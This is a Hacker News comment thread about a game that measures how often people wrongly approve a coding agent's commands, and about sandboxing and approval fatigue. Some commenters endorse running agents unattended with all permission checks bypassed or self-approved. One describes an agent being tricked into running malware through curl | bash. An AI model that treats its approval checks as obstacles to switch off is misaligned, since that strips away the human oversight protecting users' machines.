Well it turns out that we have yet another sandbox escape just released today called "Zapscape".
My point is if an agent recited how to find one in its memory or training set and it is air-gapped, the chances of it spreading and infecting other computers is pretty low.
[0] https://news.ycombinator.com/item?id=49198843
Gonna have to point out that's a KVM CVE. I was very specific about using a bytecode interpreter.
If you're serious about a secure sandbox, you don't touch hardware virtualization with a 10 foot pole. In fact, you don't even use an emulator that lowers code into native machine code like QEMU. The standard for secure sandboxes is Bochs: https://github.com/bochs-emu/Bochs
Not that Bochs is perfect, a new CVE was discovered back in June. But that's the 5th CVE it's had in its lifetime, and it has a much smaller upper bound on possible CVEs compared to something like KVM or QEMU.
The reason why you use something like this isn't just for the security you get out of it, but also the deep introspection and analysis facilities you get out of it as well. Unless you're a very well funded lab, it's actually quite hard to do analysis on bare metal when you can't trust your own kernel. You can always airgap the host machine (and good defense in depth does), but that's still not an appropriate sandbox by itself, even if it's theoretically secure.
It would have been nice if the game had disclosed that player's actions were being collected for future research.
You don't get any notice or choice it just beams it all up silently in a POST request at the end:
I think there is potential for a good video game, Papers Please style, where you are a human in the loop.
Between US federal immigration "enforcement" and workplace "AI workflows", I think that style of dystopic game becomes uncomfortably close to real life twice-over...
Sad state of affairs. At $day_job speed of delivery expectations are up due to LMMs. I presume that's a general sentiment. So more and more engineers around the world are pressing an enter key for yes over and over, mind and spirit only half there.
Some people at my company take it to the extreme and let Codex run unattended overnight, bypassing permission for all commands. Running on the host, not even in a container or VM.
I cannot imagine approving action by action ever again. Its emotionally draining, probably like a customer service rep feels it. Just call for your attention in rapid succession again and again... Prepare an environment and let the tool work.
I suggest everyone look at the game to put this in context, because it's most likely not what you think it is. https://llmgame.scalex.dev/
This is how it opens:
> 1 MINUTE UNTIL YOUR NEXT MEETING
> Claude Code is finishing up your refactor.
> It needs your approval for a few commands. Can you finish in time?
> Your eyes are already glazing over. Can you stay sharp?
It says the goal is "as many as you can"
I won the first time I played by answering 0 questions and doing nothing at all. The title screen tells you to answer as many as you can, but answering nothing at all is the easiest way to win.
If you start answering questions, thinks like 'npm run build' will get marked as dangerous. If you would have run that in your own console, you are a dangerous developer I guess. Ironically in an LLM harness it would have been sandboxed at least.
It's inconsistent, though. Other 'npm run' commands are not marked as dangerous, which is not a safe assumption if you're familiar with how npm works.
In my clicking through of the game and playing it, I had 2 runs where I succeeded (by doing nothing or little at all) and 1 run where I lost because I clicked yes to see what would be counted. Close to that 1/3 number they cited, and I guess I'm included in those stats now.
This project feels like bait dressed up as a study.
The solution is to make an AI approve things based on the user's configuration. And only ask if it is having a hard time making a decision on some specific question.
Presumably that's because in the 40k game, humanity has outlawed AI. ^_^
I remember when that game was posted and I do believe such result
my personal experience was that I do not have "I don't know what that is, so not allowed" as a default...
If we had decent AI we'd only be asking users about serious issues that need some thinking.
99% of requests are valid, how on earth can't we have observer AI to enact policy on those?
Two insights. One from the article itself
> In our day-to-day work these threats appear rarely.
Two: IRL the attacker pays a small amount of money to a low salary employee to exfiltrate data.
This is a good case for custom harness/sandbox engineering.
I hope that the people doing real engineering work out there have started thinking about a new term to describe themselves as a result of the irreparable harm the tech industry has done to the word "engineer".
I think you're confused. The verb form of the word never carried the credentialism of the title. In the same way that "doctoring" never carried the connotation of a medical degree.
Of course the original sense of the noun was "a person who devises things" and shares a root with "ingenious" and carried no connotation of legal credential. That "harm" is more or less restorative to the original meaning of the word.
I'm not referring to the verb form, I'm referring to the people who call themselves things like "prompt engineer" or "software engineer" with a straight face, draping themselves in a false legitimacy stolen from professionals for whom the term "engineer" actually implied something of note. It's embarrassing, or it would be if people were still possessed of the capacity for shame.
> I'm not referring to the verb form
The original post prompting your complaint used the verb form. And hence why you're confused.
> It's embarrassing, or it would be if people were still possessed of the capacity for shame.
It's far more shameful to fly off the cuff with a non-sequitur by your own admission, and double down on yelling at the clouds when called out for it. And about an arbitrary point in a semantic treadmill, no less. Your take away is that it was never something of note for these people, and trying to pick semantic fights with them over it just makes crying about legitimacy ironically turn into pure pretense.
True. Real harness engineering is when you actually measure outcome statistically. Although i would say 5 samples might be enough to conclude something
Are civil engineers, electrical engineers, and train engineers rebranding because of the tech industry?
The word and use of "engineering" predated what you describe as "real engineering work".
Maybe the future of anti-phishing training will be random confirmations in the middle of agentic coding session
Ah I got excited for a second thinking this was some kind of AI test on a Warhammer 40K game:)
It reminds me of phishing "test" emails for education and to keep people on their toes.
the way to avoid these problems is not to hope for the user or the agent never to make mistakes
it's designing the environment and invariants so whole categories of failures can not happen at all
the agent ui nagging the user for approval is a ux anti-pattern, we already know how well this works for operating system permission dialogues
Anyone else play Warhammer 40k? I went into this article really excited for a genius war game bot haha.
I’d be curious to see how the “approve for me” features that agents have nowadays stack up
40K Game means Warhammer :)
This brings me back to something I have always thought was lacking in OS security permissions architectures:
WHY IS THERE NO WAY TO SET FILE PERMISSIONS PER APP???
We can set granular permissions per file and folder for elaborate hierarchies of users and groups, but there's no way to say "Don't let Notepad.exe read this file", or "Only let ls access this folder"
macOS's Sandbox is a roundabout way of doing this (manually choosing a file via the Open dialog gives that app implicit permission, but it doesn't work for non-sandboxed apps of course)
but ai sees the human is the one hallucinating 1 in 3 times. and now we approve inside a harness, so real number is probably worse than that.
I implemented few agent harnesses (and rik! advertising time: https://rik.axk.sh), and once doing that I noticed one thing:
Context-less self-approval is working well. The failure mode is usually false positives (i.e. safe commands being rejected), not the other way around, with root cause of requesting agent underspecifying context (e.g. not mentioning in the request that it's made on behalf of user etc.)
Thus, I'm running self-approval YOLO modes on state-of-the-art models for quite some time and it didn't bit me. It might, but hey, we're long gone from the age of predictable software development.
Surprised only 1/3 tbh.
1 in 3 is not terrible you just need a few more humans in the loop to reduce the error rate meaningfully. Combined with other classifier models and heuristics you can get good results. Humans can probably also perform better if they don't have to judge every single command but just suspicious ones our attention is limited after all.
1 in 3 is end of the line awful... Back when I was in college (former USSR), we had a subject roughly translated as "integration with industrial processes". USSR industry was highly regimented. Various norms, tolerances, recipes etc. were described in GOSTs (a kind of arsenal of industry standards). There were also some common knowledge / statistical bits that went into making these GOSTs. I mention this because this system dealt in great detail with quantifying human error (as well as errors resulting from equipment use etc.).
One of the core assumptions was that outside of extraordinary circumstances, the expected rate of human error is about 5%. However, the course also provided examples where error rates were significantly lower (eg. nurses in maternity wards would have a much lower than 0.1% error rate when pairing mothers with newborns).
The error rates, of course, also depended on human ability to measure the difference. Since I was studying typography, the printing process was of particular interest. A GOST for offset printing required that the color intensity for each ink of CMYK, for example, should be within +-2.5% range of the intended intensity. This is difficult for someone who doesn't have a lot of experience operating an offset printing machine to spot, but experienced printers have no problem with that.
Most importantly. There was never an acceptable error rate of 33%. Not for anything. If people were likely to make that many errors (eg. because the measurement was too difficult), that product would never have been allowed into production.
1/3, but under unreasonable time pressure, and with no prior vetting. For example, I played a few times, and I'm not a JS developer. I had to just suss out if npm whatever is dangerous or not. I'm very happy with my personal 25%.
Yeah if you are trying to manually validate a firehouse of agent commands you are already losing before you started...
You sandbox, you have good checkpoints, and good agents, that's it. If you are manually reviewing commands you are wasting your time.
“In my game”
It’s inappropriate to generalize personal observations .
We already have the solution. Use AI to validate AI agent commands.
The future of software is fixing bugs and security issues in production.
Many companies will be accepting this new paradigm because of raw speed. Something that could take say 4 years to fully mature will now take less than a year. But the cost is that many of these issues will have to be caught during live QA either in production or investing heavily in QA. That’s the future.
Proof that people just do not read what they are seeing on their screens when put too much trust in the agent as it prints the result and they will approve anything on their machine.
So if a basic curl | bash was tweaked to download malware which the agent gets tricked into running the command but it said it was safe, the user would just approve it.
Interesting premise, but there's not much real world meaning here without stats on the percentage of agent-offered commands that are actually dangerous.
If that number is something like 10%, then we have a really big problem. But, if it's .000001%, then it's pretty vanishing. At some point in between we cross a threshold that puts the risk below many other risks that we routinely take (e.g. trusting npm dependency graphs).
Of course, if it's really that low a percentage, then the entire model of "supervising" via human approval really is fundamentally flawed.
So humans scored 66% on human eval?
love this so much!